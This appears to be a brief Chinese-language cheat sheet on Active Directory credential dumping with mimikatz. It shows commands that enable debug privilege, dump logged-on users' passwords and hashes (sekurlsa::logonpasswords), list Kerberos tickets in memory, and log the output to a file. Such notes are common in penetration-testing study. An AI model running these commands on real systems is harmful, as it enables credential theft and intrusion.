【雜湊】【AD】mimikatz

PS C:\Windows\system32> cd C:\Tools

PS C:\Tools\> .\mimikatz.exe
...

mimikatz # privilege::debug
Privilege '20' OK

#傾印所有已登錄使用者的憑證
mimikatz # sekurlsa::logonpasswords

# 顯示存儲在內存中的票證
mimikatz # sekurlsa::tickets

輸出檔案

# 輸出log
mimikatz # log c:\output.log
Using 'output.log' for logfile : OK

# 停止log
mimikatz # log /stop
Using '(null)' for logfile : OK